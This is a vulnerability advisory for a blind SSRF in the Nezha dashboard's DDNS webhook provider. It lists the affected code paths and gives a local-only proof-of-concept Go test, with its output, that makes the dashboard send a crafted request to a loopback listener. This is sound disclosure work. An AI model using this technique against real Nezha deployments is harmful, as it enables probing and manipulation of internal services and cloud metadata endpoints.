CVE-2026-47268: Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host
Summary An authenticated Nezha dashboard user can create or update a DDNS profile with provider webhook and configure an arbitrary webhookurl, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with utils.HttpClient without the SSRF protections used by notification webhooks.
Published May 29, 2026 · Updated Jun 26, 2026
Affected packages
github.com/nezhahq/nezha
- Ecosystem
- Go
- Affected
- >= 0.20.0, < 2.0.10
- Fixed in
- 2.0.10
- Check
go list -m github.com/nezhahq/nezha
github.com/naiba/nezha
- Ecosystem
- Go
- Affected
- >= 0.20.0
- Fixed in
- No patched version yet
- Check
go list -m github.com/naiba/nezha
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An authenticated Nezha dashboard user can create or update a DDNS profile with provider webhook and configure an arbitrary webhook_url, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with utils.HttpClient without the SSRF protections used by notification webhooks.
This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive.
Details
The DDNS API is available to authenticated users, not only administrators:
cmd/dashboard/controller/controller.go:137registersGET /api/v1/ddns.cmd/dashboard/controller/controller.go:139registersPOST /api/v1/ddns.cmd/dashboard/controller/controller.go:140registersPATCH /api/v1/ddns/:id.
The create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into model.DDNSProfile:
cmd/dashboard/controller/ddns.go:47-74acceptsmodel.DDNSFormand storesWebhookURL,WebhookMethod,WebhookRequestType,WebhookRequestBody, andWebhookHeaders.cmd/dashboard/controller/ddns.go:112-145updates the same fields after profile ownership is checked.model/ddns_api.go:11-15exposes these fields as JSON input.model/ddns.go:28-33stores these fields on the persisted profile.
Users can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths:
cmd/dashboard/controller/server.go:63-83checks DDNS profile ownership, then storesEnableDDNS,DDNSProfiles, andOverrideDDNSDomainson an owned server.service/singleton/server.go:44-58callsUpdateDDNSwhen a server with DDNS enabled is updated.service/rpc/nezha.go:247-279callsUpdateDDNSwhen an authenticated agent reports a changed IP.
The DDNS provider dispatcher instantiates the webhook provider when Provider == "webhook":
service/singleton/ddns.go:58-95, especiallyservice/singleton/ddns.go:79-81.
The sink is the DDNS webhook provider:
pkg/ddns/webhook/webhook.go:49-65prepares and sends the HTTP request withutils.HttpClient.Do(req).pkg/ddns/webhook/webhook.go:85-100formats and applies attacker-controlled headers.pkg/ddns/webhook/webhook.go:91-92creates the request with the configured method and URL.pkg/ddns/webhook/webhook.go:117-134parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects.pkg/ddns/webhook/webhook.go:137-158builds attacker-controlled request bodies for POST/PATCH/PUT.
The project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path:
model/notification.go:34-58defines blocked private/reserved CIDRs.model/notification.go:193-221creates a notification HTTP client that resolves and pins a validated IP and disables redirects.model/notification.go:229-263only allowshttp/https, requires a hostname, resolves all addresses, and rejects disallowed IPs.model/notification.go:265-276rejects blocked ranges and non-global-unicast targets.
Equivalent validation was not found in pkg/ddns/webhook/webhook.go.
Safe local PoC
Environment:
- Repository:
https://github.com/nezhahq/nezha.git - Commit tested:
05e5da2535197fc223b79601d50eeea362dcf853 - Tag at commit:
v2.0.9 - Module:
github.com/nezhahq/nezha - Go version:
go1.26.3 linux/amd64 - Testing scope: local-only; loopback HTTP listener and fake local UDP DNS SOA server only.
A temporary same-package test was created and removed automatically after execution. It used a local httptest listener as the internal service and a local UDP DNS server that returned an SOA for example.com.. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener.
Command run:
tmp="pkg/ddns/ddns_ssrf_local_poc_test.go"; trap 'rm -f "$tmp"' EXIT; cat > "$tmp" <<'EOF'
package ddns
import (
"context"
"io"
"net"
"net/http"
"net/http/httptest"
"testing"
"github.com/miekg/dns"
"github.com/nezhahq/nezha/model"
"github.com/nezhahq/nezha/pkg/ddns/webhook"
)
func TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) {
hit := make(chan string, 1)
httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
hit <- r.Method + " " + r.URL.Path + " " + r.Header.Get("X-Proof") + " " + string(body)
w.WriteHeader(http.StatusNoContent)
}))
defer httpSrv.Close()
dnsPacketConn, err := net.ListenPacket("udp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
dnsSrv := &dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
msg := new(dns.Msg)
msg.SetReply(r)
if len(r.Question) > 0 && r.Question[0].Qtype == dns.TypeSOA {
msg.Answer = append(msg.Answer, &dns.SOA{
Hdr: dns.RR_Header{Name: "example.com.", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60},
Ns: "ns.example.com.",
Mbox: "hostmaster.example.com.",
Serial: 1,
Refresh: 60,
Retry: 60,
Expire: 60,
Minttl: 60,
})
}
_ = w.WriteMsg(msg)
})}
go func() { _ = dnsSrv.ActivateAndServe() }()
defer dnsSrv.Shutdown()
enableIPv4 := true
enableIPv6 := false
profile := &model.DDNSProfile{
EnableIPv4: &enableIPv4,
EnableIPv6: &enableIPv6,
MaxRetries: 1,
Domains: []string{"host.example.com"},
Provider: model.ProviderWebHook,
WebhookURL: httpSrv.URL + "/internal",
WebhookMethod: 2,
WebhookRequestType: 1,
WebhookRequestBody: `{"ip":"#ip#","domain":"#domain#","type":"#type#"}`,
WebhookHeaders: `{"X-Proof":"nezha-ddns-pipeline-ssrf"}`,
}
provider := &Provider{
DDNSProfile: profile,
IPAddrs: &model.IP{IPv4Addr: "203.0.113.10"},
Setter: &webhook.Provider{DDNSProfile: profile},
}
ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()})
if err := provider.updateDomain(ctx, "host.example.com"); err != nil {
t.Fatalf("updateDomain returned error: %v", err)
}
select {
case got := <-hit:
t.Logf("observed loopback request through DDNS update pipeline: %s", got)
default:
t.Fatalf("expected loopback listener to receive DDNS webhook request")
}
}
EOF
go test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -vObserved output:
=== RUN TestLocalPoCDDNSUpdatePipelineReachesLoopback
ddns_ssrf_local_poc_test.go:76: observed loopback request through DDNS update pipeline: POST /internal nezha-ddns-pipeline-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}
--- PASS: TestLocalPoCDDNSUpdatePipelineReachesLoopback (0.00s)
PASS
ok github.com/nezhahq/nezha/pkg/ddns 0.009sA lower-level provider-only confirmation was also run with go test ./pkg/ddns/webhook -run TestLocalPoCDDNSWebhookReachesLoopback -v and observed:
observed loopback request: POST /internal nezha-ddns-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}Cleanup:
- Both temporary PoC test files were removed by shell
trap. find . -path './.git' -prune -o \( -name 'ssrf_local_poc_test.go' -o -name 'ddns_ssrf_local_poc_test.go' \) -printreturned no files.
Impact
An authenticated dashboard user can cause the Nezha dashboard process to send arbitrary HTTP requests to services reachable from the dashboard host, including loopback and private network targets. The confirmed path allows attacker-controlled method, URL path/query, headers, and request body.
Potential impacts depend on deployment and reachable internal services, but include:
- Blind probing of internal HTTP services from the dashboard network location.
- Triggering state-changing internal endpoints that trust localhost or private network origins.
- Reaching services not exposed to the attacker directly.
- Interaction with cloud metadata or control-plane endpoints if reachable and not otherwise protected.
The response body is not returned to the attacker in the confirmed code path, so this should not be described as direct arbitrary internal file/secret read without an additional response-disclosure primitive.
Credited to sondt99.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-100394
Nezha Monitoring: Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant
medium6.5Oct 15, 2026GHSA-rf68-8gjr-36q7
Nezha: OAuth2 redirect_uri Host header injection regression when dashboard_host is empty
low2.9No fixSep 15, 2026CVE-2026-53519
Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key
critical9.1Jun 26, 2026CVE-2026-53520
Nezha Monitoring: Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing
medium6.5Jun 26, 2026CVE-2026-53521
Nezha Monitoring: Stored future DDNS profile ID allows unauthorized use of another user's DDNS profile context
medium6.4Jun 26, 2026CVE-2026-53522
Nezha Monitoring: Unbounded WebSocket Streams — Resource Exhaustion DoS
medium6.5Jun 26, 2026
